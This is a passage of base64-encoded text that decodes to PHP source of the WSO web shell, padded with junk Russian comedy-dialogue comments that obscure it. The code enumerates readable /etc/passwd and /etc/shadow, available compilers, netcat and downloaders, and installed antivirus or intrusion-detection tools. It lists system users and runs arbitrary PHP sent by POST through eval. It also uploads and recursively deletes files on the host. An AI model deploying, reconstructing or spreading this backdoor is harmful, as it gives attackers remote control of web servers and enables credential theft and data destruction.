uCDQsdGL0LvQuCDQt9C70YvQtSEgKi8KICAgICAgICBmYWxzZTsKfQoKZnVuY3Rpb24gLyogPFBvbGljZW1hbj46INCS0YHRkSDQv9C+0L3Rj9GC0L3Qvi4uLiDQlNCw0LLQsNC50YLQtSDQv9C+INC/0L7RgNGP0LTQutGDLiDQndCw0LfQvtCy0LjRgtC1INGB0LLQvtC4INC40LzQtdC90LAuICovCmFjdGlvblNlY0luZm8oKQp7CiAgICB3c29IZWFkZXIoKTsKICAgIGVjaG8gLyogPFBldGVyPjogLi4uciBnIHUgZiBhIG4uLi4gKi8KICAgICc8aDE+U2VydmVyIHNlY3VyaXR5IGluZm9ybWF0aW9uPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKICAgIGZ1bmN0aW9uIC8qIDxBdm9uPjogUGV0ZXIgUGVzenluc2tpICovCiAgICB3c29TZWNQYXJhbSgkbiwgJHYpCiAgICB7CiAgICAgICAgJHYgPSB0cmltKCR2KTsKICAgICAgICBpZiAoJHYpIHsKICAgICAgICAgICAgZWNobyAvKiA8UGV0ZXI+OiDQoyDRgtC10LHRjyDQv9C+0LvRjNGB0LrQsNGPINGE0LDQvNC40LvQuNGPISAqLwogICAgICAgICAgICAgICAgJzxzcGFuPicgLiAkbiAuICc6IDwvc3Bhbj4nOwogICAgICAgICAgICBpZiAoc3RycG9zKCR2LCAiXG4iKSA9PT0gLyogPFBldGVyPjog0JXQs9C+INC90LXQvtCx0YXQvtC00LjQvNC+INCw0YDQtdGB0YLQvtCy0LDRgtGMLCDRgtCw0LwsINCyINGC0Y7RgNGM0LzRgyDQv9C+0YHQsNC00LjRgtGMINC40LvQuCDQtdGJ0ZEg0LrRg9C00LAsINC90YMsINCyINC+0LHRidC10LwsINC30LDQutGA0YvRgtGMINC90LDQstGB0LXQs9C00LAg0LXQs9C+ISAqLwogICAgICAgICAgICAgICAgZmFsc2UKICAgICAgICAgICAgKSBlY2hvIC8qIDxBdm9uPjog0J7QvSDQvdCw0Lwg0LbQuNC30L3RjCDRgNCw0LfRgNGD0YjQuNC7INGD0LbQtSEgKi8KICAgICAgICAgICAgICAgICR2IC4gJzxicj4nOyBlbHNlIC8qIDxEYXZpZCBCbGFpbmU+OiA8aW4gdGhlIHBvbGljZW1hbidzIHN1aXQ+INCl0L7RgNC+0YjQvi4uLiDQryDQv9C+0YHQvNC+0YLRgNGOLCDRh9GC0L4g0Y8g0YHQvNC+0LPRgyDQtNC70Y8g0LLQsNGBINGB0LTQtdC70LDRgtGMLi4uICovCiAgICAgICAgICAgIGVjaG8gLyogPFBldGVyPjog0JIg0YDQvtGCINC80L3QtSDQvdC+0LPQuCwg0YTQsNC6INC80L7QuSDQvNC+0LfQsyEhISAqLwogICAgICAgICAgICAgICAgJzxwcmUgY2xhc3M9bWwxPicgLiAkdiAuICc8L3ByZT4nOwogICAgICAgIH0KICAgIH0KCiAgICB3c29TZWNQYXJhbSgnU2VydmVyIHNvZnR3YXJlJywgQGdldGVudignU0VSVkVSX1NPRlRXQVJFJykpOwogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnYXBhY2hlX2dldF9tb2R1bGVzJykpIHdzb1NlY1BhcmFtKCdMb2FkZWQgQXBhY2hlIG1vZHVsZXMnLCBpbXBsb2RlKCcsICcsIGFwYWNoZV9nZXRfbW9kdWxlcygpKSk7CiAgICB3c29TZWNQYXJhbSgnRGlzYWJsZWQgUEhQIEZ1bmN0aW9ucycsICRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddID8gJEdMT0JBTFNbJ2Rpc2FibGVfZnVuY3Rpb25zJ10gOiAnbm9uZScpOwogICAgd3NvU2VjUGFyYW0oJ09wZW4gYmFzZSBkaXInLCBAaW5pX2dldCgnb3Blbl9iYXNlZGlyJykpOwogICAgd3NvU2VjUGFyYW0oJ1NhZmUgbW9kZSBleGVjIGRpcicsIEBpbmlfZ2V0KCdzYWZlX21vZGVfZXhlY19kaXInKSk7CiAgICB3c29TZWNQYXJhbSgnU2FmZSBtb2RlIGluY2x1ZGUgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpKTsKICAgIHdzb1NlY1BhcmFtKCdjVVJMIHN1cHBvcnQnLCBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpID8gJ2VuYWJsZWQnIDogJ25vJyk7CiAgICAkdGVtcCA9IGFycmF5KCk7CiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9nZXRfY2xpZW50X2luZm8nKSkgJHRlbXBbXSA9ICJNeVNxbCAoIiAuIG15c3FsX2dldF9jbGllbnRfaW5mbygpIC4gIikiOwogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfY29ubmVjdCcpKSAkdGVtcFtdID0gIk1TU1FMIjsKICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKSkgJHRlbXBbXSA9ICJQb3N0Z3JlU1FMIjsKICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpICR0ZW1wW10gPSAiT3JhY2xlIjsKICAgIHdzb1NlY1BhcmFtKCdTdXBwb3J0ZWQgZGF0YWJhc2VzJywgaW1wbG9kZSgnLCAnLCAkdGVtcCkpOwogICAgZWNobyAvKiA8UGV0ZXI+OiDQp9GRINC30LAg0YXRg9C50L3Rjywg0ZHQvNCw0L3QsNGA0L7QvtC+0L7QvtGCISEhINCvINGJ0LDRgSDQvtCx0L7RgdGB0YPRgdGMISAqLwogICAgJzxicj4nOwogICAgaWYgKCRHTE9CQUxTWydvcyddID09IC8qIDw9PT09PWVuZCBvZiBwYXJ0PT09PT0+ICovCiAgICAgICAgJ25peCcKICAgICkgewogICAgICAgIHdzb1NlY1BhcmFtKCdSZWFkYWJsZSAvZXRjL3Bhc3N3ZCcsIEBpc19yZWFkYWJsZSgnL2V0Yy9wYXNzd2QnKSA/ICJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIiwgXCIvZXRjL1wiLCBcInBhc3N3ZFwiKSc+W3ZpZXddPC9hPiIgOiAnbm8nKTsKICAgICAgICB3c29TZWNQYXJhbSgnUmVhZGFibGUgL2V0Yy9zaGFkb3cnLCBAaXNfcmVhZGFibGUoJy9ldGMvc2hhZG93JykgPyAieWVzIDxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc1Rvb2xzXCIsIFwiL2V0Yy9cIiwgXCJzaGFkb3dcIiknPlt2aWV3XTwvYT4iIDogJ25vJyk7CiAgICAgICAgd3NvU2VjUGFyYW0oJ09TIHZlcnNpb24nLCBAZmlsZV9nZXRfY29udGVudHMoJy9wcm9jL3ZlcnNpb24nKSk7CiAgICAgICAgd3NvU2VjUGFyYW0oJ0Rpc3RyIG5hbWUnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaXNzdWUubmV0JykpOwogICAgICAgIGlmICghJEdMT0JBTFNbJ3NhZmVfbW9kZSddKSB7CiAgICAgICAgICAgICR1c2VyZnVsID0gYXJyYXkoJ2djYycsICdsY2MnLCAnY2MnLCAnbGQnLCAnbWFrZScsICdwaHAnLCAncGVybCcsICdweXRob24nLCAncnVieScsICd0YXInLCAnZ3ppcCcsICdiemlwJywgJ2J6aXAyJywgJ25jJywgJ2xvY2F0ZScsICdzdWlkcGVybCcpOwogICAgICAgICAgICAkZGFuZ2VyID0gYXJyYXkoJ2thdicsICdub2QzMicsICdiZGNvcmVkJywgJ3V2c2NhbicsICdzYXYnLCAnZHJ3ZWJkJywgJ2NsYW1kJywgJ3JraHVudGVyJywgJ2Noa3Jvb3RraXQnLCAnaXB0YWJsZXMnLCAnaXBmdycsICd0cmlwd2lyZScsICdzaGllbGRjYycsICdwb3J0c2VudHJ5JywgJ3Nub3J0JywgJ29zc2VjJywgJ2xpZHNhZG0nLCAndGNwbG9kZycsICdzeGlkJywgJ2xvZ2NoZWNrJywgJ2xvZ3dhdGNoJywgJ3N5c21hc2snLCAnem1ic2NhcCcsICdzYXdtaWxsJywgJ3dvcm1zY2FuJywgJ25pbmphJyk7CiAgICAgICAgICAgICRkb3dubG9hZGVycyA9IGFycmF5KCd3Z2V0JywgJ2ZldGNoJywgJ2x5bngnLCAnbGlua3MnLCAnY3VybCcsICdnZXQnLCAnbHdwLW1pcnJvcicpOwogICAgICAgICAgICBlY2hvIC8qIDw9PT09PXN0cmVldCBtYWdpYz09PT09PiAqLwogICAgICAgICAgICAnPGJyPic7CiAgICAgICAgICAgICR0ZW1wID0gYXJyYXkoKTsKICAgICAgICAgICAgZm9yZWFjaCAoJHVzZXJmdWwgLyogPERhdmlkIEJsYWluZT46INCQ0LPQsCwg0LLQvtGCINGN0YLQuCDRgNC10LHRj9GC0LAuLi4gKi8KICAgICAgICAgICAgICAgICAgICAgYXMgLyogPFBldGVyPjog0J3QtdC90LXQvdC10L3QtdC90LUhISAqLwogICAgICAgICAgICAgICAgICAgICAkaXRlbSkgaWYgKHdzb1doaWNoKCRpdGVtKSkgJHRlbXBbXSA9ICRpdGVtOwogICAgICAgICAgICB3c29TZWNQYXJhbSgnVXNlcmZ1bCcsIGltcGxvZGUoJywgJywgJHRlbXApKTsKICAgICAgICAgICAgJHRlbXAgPSBhcnJheSgpOwogICAgICAgICAgICBmb3JlYWNoICgkZGFuZ2VyIC8qIDxBdm9uPjog0J3QtdGCLCDQvdC10YIsINCU0Y3QstC40LQg0JHQu9C10LnQvSwg0L3QtdGCISAqLwogICAgICAgICAgICAgICAgICAgICBhcyAvKiA8RGF2aWQgQmxhaW5lPjog0K8g0LTQtdC70LDRjiDQvtGB0L7QsdGD0Y4sINGD0LvQuNGH0L3Rg9GOINC80LDQs9C40Y4uICovCiAgICAgICAgICAgICAgICAgICAgICRpdGVtKSBpZiAod3NvV2hpY2goJGl0ZW0pKSAkdGVtcFtdID0gJGl0ZW07CiAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdEYW5nZXInLCBpbXBsb2RlKCcsICcsICR0ZW1wKSk7CiAgICAgICAgICAgICR0ZW1wID0gYXJyYXkoKTsKICAgICAgICAgICAgZm9yZWFjaCAoJGRvd25sb2FkZXJzIC8qIDxEYXZpZCBCbGFpbmU+OiDQmtGC0L4g0YXQvtGH0LXRgiDRg9Cy0LjQtNC10YLRjCDQvdC10LzQvdC+0LPQviDQvNCw0LPQuNC4PyAqLwogICAgICAgICAgICAgICAgICAgICBhcyAvKiA8QXZvbj46INCn0ZEg0LzRiyDRgtC10LHQtSwg0LTQvtC70LHQvtGC0YDRj9GB0Ysg0LrQsNC60LjQtS3QvdC40LHRg9C00Yw/INCd0LXRgiwg0YHQv9Cw0YHQuNCx0L4hICovCiAgICAgICAgICAgICAgICAgICAgICRpdGVtKSBpZiAod3NvV2hpY2goJGl0ZW0pKSAkdGVtcFtdID0gJGl0ZW07CiAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdEb3dubG9hZGVycycsIGltcGxvZGUoJywgJywgJHRlbXApKTsKICAgICAgICAgICAgZWNobyAvKiA8UGV0ZXI+OiDQnNGLINGG0LXQu9GL0Lkg0LTQtdC90Ywg0YjQvtC/0LjQu9C40YHRjCwg0LfQsNC80LDQvdCw0LvQuNGB0YwsINGF0L7RgtC40Lwg0L/RgNC+0YHRgtC+INC+0YLQtNC+0YXQvdGD0YLRjCwg0LLRgdGRISAqLwogICAgICAgICAgICAnPGJyLz4nOwogICAgICAgICAgICB3c29TZWNQYXJhbSgnSEREIHNwYWNlJywgd3NvRXgoJ2RmIC1oJykpOwogICAgICAgICAgICB3c29TZWNQYXJhbSgnSG9zdHMnLCBAZmlsZV9nZXRfY29udGVudHMoJy9ldGMvaG9zdHMnKSk7CiAgICAgICAgICAgIGVjaG8gLyogPERhdmlkIEJsYWluZT46INCYINCz0LTQtSDQstGLINGI0L7Qv9C40LvQuNGB0Yw/ICovCiAgICAgICAgICAgICc8YnIvPjxzcGFuPnBvc2l4X2dldHB3dWlkICgiUmVhZCIgL2V0Yy9wYXNzd2QpPC9zcGFuPjx0YWJsZT48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI1Iix0aGlzLnBhcmFtMS52YWx1ZSx0aGlzLnBhcmFtMi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjx0cj48dGQ+RnJvbTwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTEgdmFsdWU9MD48L3RkPjwvdHI+PHRyPjx0ZD5UbzwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTIgdmFsdWU9MTAwMD48L3RkPjwvdHI+PC90YWJsZT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKICAgICAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsncDInXSwgJF9QT1NUWydwMyddKSAmJiAvKiA8UGV0ZXI+OiDQkiDQvtC00LjQvSDQvNCw0LPQsNC3INGF0L7QtNC40LvQuCDQvdC+0LLRi9C5ISAqLwogICAgICAgICAgICAgICAgaXNfbnVtZXJpYygkX1BPU1RbJ3AyJ10pICYmIC8qIDxBdm9uPjog0J7QvSDQtdGJ0ZEg0L3QtSDRgtGA0LXQvdC00L7QstGL0LksINGC0Ysg0L/RgNC+INC90LXQs9C+INC90LUg0LfQvdCw0LXRiNGMLiAqLwogICAgICAgICAgICAgICAgaXNfbnVtZXJpYygkX1BPU1RbJ3AzJ10pCiAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgJHRlbXAgPSAiIjsKICAgICAgICAgICAgICAgIGZvciAoOyAkX1BPU1RbJ3AyJ10gPD0gLyogPERhdmlkIEJsYWluZT46INCYINGH0L4g0LrRg9C/0LjQu9C4PyAqLwogICAgICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDMnXTsgJF9QT1NUWydwMiddKyspIHsKICAgICAgICAgICAgICAgICAgICAkdWlkID0gQHBvc2l4X2dldHB3dWlkKCRfUE9TVFsncDInXSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR1aWQpICR0ZW1wIC8qIDxBdm9uPjog0K8g0LrRg9C/0LjQuyDQt9C10LvQtdC90YvQuSDRgdCy0LjRgtC10YAsINC10YHQu9C4INGC0Ysg0YLQsNC6INGF0L7Rh9C10YjRjCDQt9C90LDRgtGMISAqLwogICAgICAgICAgICAgICAgICAgICAgICAuPSAvKiA8UGV0ZXI+OiDQl9C10LvQtdC90YvQuSDRgdCy0LjRgtC10YAhICovCiAgICAgICAgICAgICAgICAgICAgICAgIGpvaW4oJzonLCAkdWlkKSAuICJcbiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlY2hvIC8qIDxEYXZpZCBCbGFpbmU+OiDQmNC90YLQtdGA0LXRgdC90L4uLi4g0JAg0YLRiyDRg9Cy0LXRgNC10L0sINGH0YLQviDRgtGLINC90LUg0LrRg9C/0LjQuyDRgtC10LTQtNC4INCx0LXQsNGALCDQv9C70Y7RiNC10LLQvtCz0L4g0LzQuNGI0LrRgz8gKi8KICAgICAgICAgICAgICAgICc8YnIvPic7CiAgICAgICAgICAgICAgICB3c29TZWNQYXJhbSgnVXNlcnMnLCAkdGVtcCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIHdzb1NlY1BhcmFtKCdPUyBWZXJzaW9uJywgd3NvRXgoJ3ZlcicpKTsKICAgICAgICB3c29TZWNQYXJhbSgnQWNjb3VudCBTZXR0aW5ncycsIHdzb0V4KCduZXQgYWNjb3VudHMnKSk7CiAgICAgICAgd3NvU2VjUGFyYW0oJ1VzZXIgQWNjb3VudHMnLCB3c29FeCgnbmV0IHVzZXInKSk7CiAgICB9CiAgICBlY2hvIC8qIDxBdm9uPjog0JTQsCwg0Y8g0YPQstC10YDQtdC9ISAqLwogICAgJzwvZGl2Pic7CiAgICB3c29Gb290ZXIoKTsKfQoKZnVuY3Rpb24gLyogPEF2b24+OiDQotCV0JTQlNCYINCR0JjQoCEhICovCmFjdGlvblBocCgpCnsKICAgIGlmIChpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsKICAgICAgICBfX1dTT19fc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnLCB0cnVlKTsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIGV2YWwoJF9QT1NUWydwMSddKTsKICAgICAgICAkdGVtcCA9ICJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGhwT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnUGhwT3V0cHV0JykuaW5uZXJIVE1MPSciIC4gYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksICJcblxyXHRcXCdcMCIpIC4gIic7XG4iOwogICAgICAgIGVjaG8gLyogPFBldGVyPjog0KfRkSDQt9CwINGF0LXRgNGMISAqLwogICAgICAgIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOwogICAgICAgIGV4aXQ7CiAgICB9CiAgICBpZiAoZW1wdHkoJF9QT1NUWydhamF4J10pICYmICFlbXB0eSgkX1BPU1RbJ3AxJ10pKSBfX1dTT19fc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnLCByb3VuZCgwKSk7CiAgICB3c29IZWFkZXIoKTsKICAgIGlmIChpc3NldCgkX1BPU1RbJ3AyJ10pICYmICgkX1BPU1RbJ3AyJ10gPT0gLyogPFBldGVyPjog0K0sINGC0Ysg0YfQviDRgdC00LXQu9Cw0Lst0YLQviwg0LA/ISAqLwogICAgICAgICAgICAnaW5mbycpCiAgICApIHsKICAgICAgICBlY2hvIC8qIDxBdm9uPjog0JPQtNC1INC80L7QuSDRgdCy0LjRgtC10YA/ICovCiAgICAgICAgJzxoMT5QSFAgaW5mbzwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzdHlsZT4ucCB7Y29sb3I6IzAwMDt9PC9zdHlsZT4nOwogICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgcGhwaW5mbygpOwogICAgICAgICR0bXAgPSBvYl9nZXRfY2xlYW4oKTsKICAgICAgICAkdG1wID0gcHJlZ19yZXBsYWNlKGFycmF5KCchKGJvZHl8YTpcdyt8Ym9keSwgdGQsIHRoLCBoMSwgaDIpIHsuKn0hbXNpVScsICchdGQsIHRoIHsoLiopfSFtc2lVJywgJyE8aW1nW14+XSs+IW1zaVUnLCksIGFycmF5KCcnLCAnLmUsIC52LCAuaCwgLmggdGggeyQxfScsICcnKSwgJHRtcCk7CiAgICAgICAgZWNobyAvKiA8UGV0ZXI+OiDQrdC5LCDQvtC9INC60YPQv9C40Lsg0YHQstC40YLQtdGALCDQsCDQvtC9INC40YHRh9C10LcsINGN0YLQviDRgtGLINC10LPQviDRgdGC0YvRgNC40Ls/INCf0YDQuNGC0YvRgNC40Lsg0YHQtdCx0LUg0YHQstC40YLQtdGALCDQtNCwINGN0YLQviDQstC+0YDQvtCy0YHRgtCy0L4hINCe0YLQtNCw0Lkg0LXQs9C+INGB0LLQuNGC0LXRgCwg0YHQstC+0LvQvtGH0YwhICovCiAgICAgICAgICAgIHN0cl9yZXBsYWNlKCc8aDEnLCAnPGgyJywgJHRtcCkgLiAnPC9kaXY+PGJyPic7CiAgICB9CiAgICBlY2hvIC8qIDxBdm9uPjog0K8g0L/QvtGC0YDQsNGC0LjQuyA0OCDQtNC+0LvQu9Cw0YDQvtCyLCDRgtGLLCDRgtGD0L/QvtC5INC4INGD0LHQvtCz0LjQuSDRhNC+0LrRg9GB0L3QuNC6ISDQk9C00LUg0L7QvT8gKi8KICAgICAgICAnPGgxPkV4ZWN1dGlvbiBQSFAtY29kZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjxmb3JtIG5hbWU9cGYgbWV0aG9kPXBvc3Qgb25zdWJtaXQ9ImlmKHRoaXMuYWpheC5jaGVja2VkKXthKFwnUGhwXCcsbnVsbCx0aGlzLmNvZGUudmFsdWUpO31lbHNle2coXCdQaHBcJyxudWxsLHRoaXMuY29kZS52YWx1ZSxcJ1wnKTt9cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIG5hbWU9Y29kZSBjbGFzcz1iaWdhcmVhIGlkPVBocENvZGU+JyAuICghZW1wdHkoJF9QT1NUWydwMSddKSA/IGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKSA6ICcnKSAuICc8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1FdmFsIHN0eWxlPSJtYXJnaW4tdG9wOjVweCI+JzsKICAgIGVjaG8gLyogPFBldGVyPjog0J/QuNGC0LXRgCwg0LPQu9GP0L3RjCDRh9C+INC90LAg0YLQtdCx0LUhICovCiAgICAgICAgJyA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAnIC4gKCRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnXSA/ICdjaGVja2VkJyA6ICcnKSAuICc+IHNlbmQgdXNpbmcgQUpBWDwvZm9ybT48cHJlIGlkPVBocE91dHB1dCBzdHlsZT0iJyAuIChlbXB0eSgkX1BPU1RbJ3AxJ10pID8gJ2Rpc3BsYXk6bm9uZTsnIDogJycpIC4gJ21hcmdpbi10b3A6NXB4OyIgY2xhc3M9bWwxPic7CiAgICBpZiAoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIGV2YWwoJF9QT1NUWydwMSddKTsKICAgICAgICBlY2hvIC8qIDxBdm9uPjog0KfRgtC+INC30LAg0YXQtdGA0L3Rjz8/PyDQmtCw0Lo/ICovCiAgICAgICAgaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSk7CiAgICB9CiAgICBlY2hvIC8qIDxQZXRlcj46INCSINCg0J7QoiDQnNCd0JUg0J3QntCT0JghISEgKi8KICAgICc8L3ByZT48L2Rpdj4nOwogICAgd3NvRm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIC8qIDxBdm9uPjog0K8g0LTQtdGA0LbQsNC7INCyINGA0YPQutCw0YUg0LLQtdGJ0LghICovCmFjdGlvbkZpbGVzTWFuKCkKewogICAgaWYgKCFlbXB0eSgkX0NPT0tJRVsnZiddKSkgJF9DT09LSUVbJ2YnXSA9IEB1bnNlcmlhbGl6ZSgkX0NPT0tJRVsnZiddKTsKICAgIGlmICghZW1wdHkoJF9QT1NUWydwMSddKSkgewogICAgICAgIHN3aXRjaCAoJF9QT1NUWydwMSddKSB7CiAgICAgICAgICAgIGNhc2UgLyogPFBldGVyPjog0JIg0YDQvtGCINC80L3QtSDQvdC+0LPQuCEgKi8KICAgICAgICAgICAgJ3VwbG9hZEZpbGUnOgogICAgICAgICAgICAgICAgaWYgKCFAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZiddWyduYW1lJ10pKSBlY2hvIC8qIDxBdm9uPjog0JAsINC+0L0g0YPQttC1INGA0LDRgdGC0Y/QvdGD0YLRi9C5LCDRgdC/0LDRgdC40LHQviDRgtC10LHQtSEgKi8KICAgICAgICAgICAgICAgICJDYW4ndCB1cGxvYWQgZmlsZSEiOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgLyogPFBldGVyPjog0KHQu9GD0YjQsNC5LCDQvtGB0YLQsNC90L7QstC40YHRjCwg0LA/ICovCiAgICAgICAgICAgICdta2Rpcic6CiAgICAgICAgICAgICAgICBpZiAoIUBta2RpcigkX1BPU1RbJ3AyJ10pKSBlY2hvIC8qIDxBdm9uPjog0KDQsNGB0YLRj9C90YPQuyDRgdCy0LjRgtC10YAsINGPINC10LPQviDQtNCw0LbQtSDQvdC1INC/0L7QvdC+0YHQuNC7INC10YnRkSEgKi8KICAgICAgICAgICAgICAgICJDYW4ndCBjcmVhdGUgbmV3IGRpciI7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAvKiA8RGF2aWQgQmxhaW5lPjog0K3QuS4g0K3QuSwg0YfRkSDRgtGLINC/0YzRkdGI0Yw/ICovCiAgICAgICAgICAgICdkZWxldGUnOgogICAgICAgICAgICAgICAgZnVuY3Rpb24gLyogPFBldGVyPjog0J7RgNCw0L3QtiDRgdC+0LTRgyDRjyDQv9GM0Y4hINCn0YLQviwg0LIg0LzQtdC00LLQtdC00Y8g0L/RgNC10LLRgNCw0YLQuNGI0Yw/INCvINGB0YLQsNC60LDQvS3RgtC+INC00LXRgNC20YMhICovCiAgICAgICAgICAgICAgICBkZWxldGVEaXIoJHBhdGgpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgJHBhdGggPSAoc3Vic3RyKCRwYXRoLCAtcm91bmQoMCArIDEpKSA9PSAnLycpID8gJHBhdGggOiAkcGF0aCAuICcvJzsKICAgICAgICAgICAgICAgICAgICAkZGggPSBvcGVuZGlyKCRwYXRoKTsKICAgICAgICAgICAgICAgICAgICB3aGlsZSAoKCRpdGVtID0gcmVhZGRpcigkZGgpKSAhPT0gLyogPERhdmlkIEJsYWluZT46INCe0YDQsNC90LYg0YHQvtC00YM/INCc0L7QttC10YIg0YfRkS3QvdC40YLRjCDQtNGA0YPQs9C+0LUg0L7RgNCw0L3QttC10LLQvtC1PyAqLwogICAgICAgICAgICAgICAgICAgICAgICBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkaXRlbSA9ICRwYXRoIC4gJGl0ZW07CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoYmFzZW5hbWUoJGl0ZW0pID09IC8qIDxQZXRlcj46INCn0L4g0LXRidGRINC+0YDQsNC90LbQtdCy0L7QtT8g0J3RgyDRjdGC0L4sINC/0LXRh9C10L3RjNC60Lg/ICovCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIi4uIikgfHwgKGJhc2VuYW1lKCRpdGVtKSA9PSAvKiA8UGV0ZXI+OiDQn9CV0KfQldCd0KzQmtCYISEhINCh0YLRgNC10LvRj9GC0Ywt0LrQvtC70L7RgtC40YLRjCEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiLiIpCiAgICAgICAgICAgICAgICAgICAgICAgICkgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgICR0eXBlID0gZmlsZXR5cGUoJGl0ZW0pOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHR5cGUgLyogPFBldGVyPjog0J/QldCn0JXQndCs0JrQmCEhISDQn9C10YfQtdC90YzQutC4ISDQn9C10YfQtdC90YzQutC4ISDQn9C10YfQtdC90YzQutC4ISAqLwogICAgICAgICAgICAgICAgICAgICAgICAgICAgPT0gLyogPFBldGVyPjog0JPQtNC1INC+0YDQsNC90LYg0YHQvtC00LA/INCi0Ysg0YfQviDQtNC10LvQsNC10YjRjCDQstC+0L7QsdGJ0LUsINGC0Ysg0YfQviDQtNC10LvQsNC10YjRjD8gKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICJkaXIiCiAgICAgICAgICAgICAgICAgICAgICAgICkgZGVsZXRlRGlyKCRpdGVtKTsgZWxzZUB1bmxpbmsoJGl0ZW0pOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBjbG9zZWRpcigkZGgpOwogICAgICAgICAgICAgICAgICAgIEBybWRpcigkcGF0aCk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgaWYgKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpIGZvcmVhY2ggKCRfUE9TVFsnZiddIGFzIC8qIDxBdm9uPjog0KMg0LzQtdC90Y8g0LLQviDRgNGC0YMg0L7RgNCw0L3QtiDRgdC+0LTQsCEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZikgewogICAgICAgICAgICAgICAgICAgIGlmICgkZiAvKiA8UGV0ZXI+OiDQryDQvdCwINC40LfQvNC10L3QtSwg0Y8g0L3QsCDQuNC30LzQtdC90LUhICovCiAgICAgICAgICAgICAgICAgICAgICAgID09IC8qIDxBdm9uPjog0JrQsNC60LDRjyDRhdC10YDQvdGPLCDRgtGLINC/0L7Qu9C+0LbQuNC7INC10ZEg0LzQvdC1INCyINGA0L7RgiEgKi8KICAgICAgICAgICAgICAgICAgICAgICAgJy4uJwogICAgICAgICAgICAgICAgICAgICkgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgJGYgPSB1cmxkZWNvZGUoJGYpOwogICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJGYpKSBkZWxldGVEaXIoJGYpOyBlbHNlQHVubGluaygkZik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAvKiA8UGV0ZXI+OiDQkiDRgNC+0YIg0LzQvdC1INC90L7Qs9C4LCDRgtGLINC/0YDQtdC60YDQsNGC0LjRiNGMINGN0YLQviDQuNC70Lgg0L3QtdGCLCDQtNC10LzQvtC9LCDQvtGB0YLQsNC90L7QstC40YHRjCwg0LIg0YDQvtGCINC80L3QtSDQvdC+0LPQuCEgKi8KICAgICAgICAgICAgJ3Bhc3RlJzoKICAgICAgICAgICAgICAgIGlmICgkX0NPT